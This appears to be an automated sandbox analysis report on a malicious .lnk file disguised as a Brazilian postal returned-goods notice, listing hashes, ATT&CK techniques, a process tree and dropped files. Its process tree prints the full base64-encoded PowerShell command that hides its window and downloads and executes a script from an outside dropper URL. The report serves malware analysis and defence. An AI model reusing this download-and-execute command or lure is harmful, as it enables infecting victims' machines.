858c09f6032b213e8cb62f48d6ecb7237637e9eea5866973905d6c1f13a81bdf

Analysis

max time kernel
94s
max time network
95s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
13/09/2024, 19:03

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General

Target

Mercadoria_Devolvida-Correios-1A4D7UP8.lnk
Size

3KB
MD5

246e74b6fffb9d5994f7f70bb6509b45
SHA1

4b7bdf4808ce987b9f94ea40bdd081217867483a
SHA256

0db8cc27123c8bbd5ae0139980b604c514caeeed51da22d67d440e5369f8be1e
SHA512

178cf1ff0d8213ff94de68f5c1c267d50c3a958126925a2c50a554a29229c6f6834d1bf140fdb9f7168352d068880c7730e047e177496af0a8b57dde62fd8e08

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://1361227624.rsc.cdn77.org/v2/gl.php?aHR0cHM6Ly8xMzYxMjI3NjI0LnJzYy5jZG43Ny5vcmcvdjJ8d3IzMQ%3D%3D%

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
7	1856	powershell.exe
9	1856	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1856	powershell.exe
1856	powershell.exe
1856	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1856	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 5080 wrote to memory of 1856	5080	cmd.exe	84
PID 5080 wrote to memory of 1856	5080	cmd.exe	84
PID 1856 wrote to memory of 1676	1856	powershell.exe	85
PID 1856 wrote to memory of 1676	1856	powershell.exe	85
PID 1676 wrote to memory of 2920	1676	csc.exe	88
PID 1676 wrote to memory of 2920	1676	csc.exe	88

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Mercadoria_Devolvida-Correios-1A4D7UP8.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5080
- C:\windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\windows\System32\WindowsPowerShell\v1.0\powershell.exe" -en YQBEAGQALQB0AFkAUABFACAALQBOAGEATQBFACAAQQAgAC0ATQBFAE0AYgBlAFIAZABlAGYAaQBOAEkAVABpAG8AbgAgACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAdQBzAGUAcgAzADIALgBkAGwAbAAiACkAXQAgAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGIAbwBvAGwAIABTAGgAbwB3AFcAaQBuAGQAbwB3ACgAaQBuAHQAIABoACwAIABpAG4AdAAgAHMAKQA7ACcAIAAtAE4AYQBtAGUAUwBQAEEAQwBFACAAQgA7AFsAQgAuAGEAXQA6ADoAUwBIAE8AdwBXAGkAbgBkAE8AVwAoACgAWwBzAFkAUwB0AGUAbQAuAGQAaQBhAEcATgBvAHMAdABpAEMAcwAuAFAAcgBvAEMAZQBzAFMAXQA6ADoARwBFAFQAYwB1AFIAcgBlAG4AVABwAFIAbwBDAGUAcwBzACgAKQAgAHwAIABQAFMAKQAuAG0AYQBJAG4AVwBJAE4ARABvAHcASABBAG4AZABsAGUALAAwACkAOwBJAEUAeAAoAE4ARQB3AC0AbwBCAGoAZQBDAHQAIABOAEUAVAAuAHcARQBCAGMAbABJAEUAbgBUACkALgBEAG8AVwBOAGwATwBhAEQAcwB0AFIASQBOAEcAKAAnAGgAdAB0AHAAcwA6AC8ALwAxADMANgAxADIAMgA3ADYAMgA0AC4AcgBzAGMALgBjAGQAbgA3ADcALgBvAHIAZwAvAHYAMgAvAGcAbAAuAHAAaABwAD8AYQBIAFIAMABjAEgATQA2AEwAeQA4AHgATQB6AFkAeABNAGoASQAzAE4AagBJADAATABuAEoAegBZAHkANQBqAFoARwA0ADMATgB5ADUAdgBjAG0AYwB2AGQAagBKADgAZAAzAEkAegBNAFEAJQAzAEQAJQAzAEQAJQAnACkA
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1856
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\sbbuln4c\sbbuln4c.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1676
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7251.tmp" "c:\Users\Admin\AppData\Local\Temp\sbbuln4c\CSC1883F54E64FC4A0A898B592DE4DD9379.TMP"
      4⤵
      PID:2920

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\RES7251.tmp

Filesize
1KB

MD5
0c56caebbacd9658180f743fb328ed57

SHA1
beb531aecbc184ab0f83644a5243c8ed7ed3ec08

SHA256
eeaed0c29820c9b21774d87bf868c2ece9155efce8677611078ea2750b1fb1e9

SHA512
3577301531639fa203933e2e901f32e310776268b42eb822cc511e503715ac2ed3bc80512a4dbbf26924468d886d503aed4877804bd44b9cc51936cfaea6fe02

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_oepsjdcb.fmm.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\sbbuln4c\sbbuln4c.dll

Filesize
3KB

MD5
93136c8e3c4ba12aa3271b9e7d8a32ac

SHA1
a9b465468e668277e0b6406a5bd558e2e8e895e2

SHA256
fb721b303e5d383cb5759338098fc309f81032a0bdea29e2321078d01e894343

SHA512
05f7edb3773b80bb572f1c16222837aaf17f537512332e14c550800568d907f4628fc7db70fdc21345c7b094df2e2efd9a0192880546e0325aa6902e3631b72e

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\sbbuln4c\CSC1883F54E64FC4A0A898B592DE4DD9379.TMP

Filesize
652B

MD5
99d0153f132585f9ed0ae9726cc53a8d

SHA1
e71eaf20bb76ab29c5d3d2ed1d1ece2faf3ae598

SHA256
80ec02de9fd62f91ba3cce1fd295b04f09d381d1db15422323b4e98809cc81e9

SHA512
4ae13ba3ec9e23e6ad64c3b88f6b36bd20479768c4f4bc3cd225a7834013c761368c1c663c2bc2aa35d7b5957ff1deda507f5990381ddbaec7469373717e7e9b

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\sbbuln4c\sbbuln4c.0.cs

Filesize
187B

MD5
7b0e7177dfbb9edd1c1ef08b4fdfae2f

SHA1
cb11a0252cdad66ec247312ccb7feb46456e52b6

SHA256
6caf22ef995616dc37bec21b2af3aa4597cdad88e00a13de0122db3af4e9a4aa

SHA512
7322be891145e550405917757420aeb513e5689970d34647177b1a79a12c7776d4e49c129b093be9927b46bc7582c0379e0cb520af58d4410ed4c5ef98b4dbfd

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\sbbuln4c\sbbuln4c.cmdline

Filesize
369B

MD5
cb791f64252bb1c1473d7b2b955edda4

SHA1
0fb2ce5727002860c52969a64953fefc223f842f

SHA256
4d4f6a5e133deb10f291bc1f6a40d89d2a8c0955ed4c4ad6b1166c7e4930c567

SHA512
c375719f1f2084372cd0b8ab821c2b45ff2f27915179af649ca89657791d326a46ebd61e8b4e69de7214bd3e2ce3691b383e82e2938c6f8b68a38f817a8ae7c9

Download Submit
memory/1856-2-0x00007FFC50FD3000-0x00007FFC50FD5000-memory.dmp

Filesize
8KB

Download
memory/1856-8-0x0000014C6E490000-0x0000014C6E4B2000-memory.dmp

Filesize
136KB

Download
memory/1856-13-0x00007FFC50FD0000-0x00007FFC51A91000-memory.dmp

Filesize
10.8MB

Download
memory/1856-14-0x00007FFC50FD0000-0x00007FFC51A91000-memory.dmp

Filesize
10.8MB

Download
memory/1856-27-0x0000014C6E4C0000-0x0000014C6E4C8000-memory.dmp

Filesize
32KB

Download
memory/1856-31-0x00007FFC50FD0000-0x00007FFC51A91000-memory.dmp

Filesize
10.8MB

Download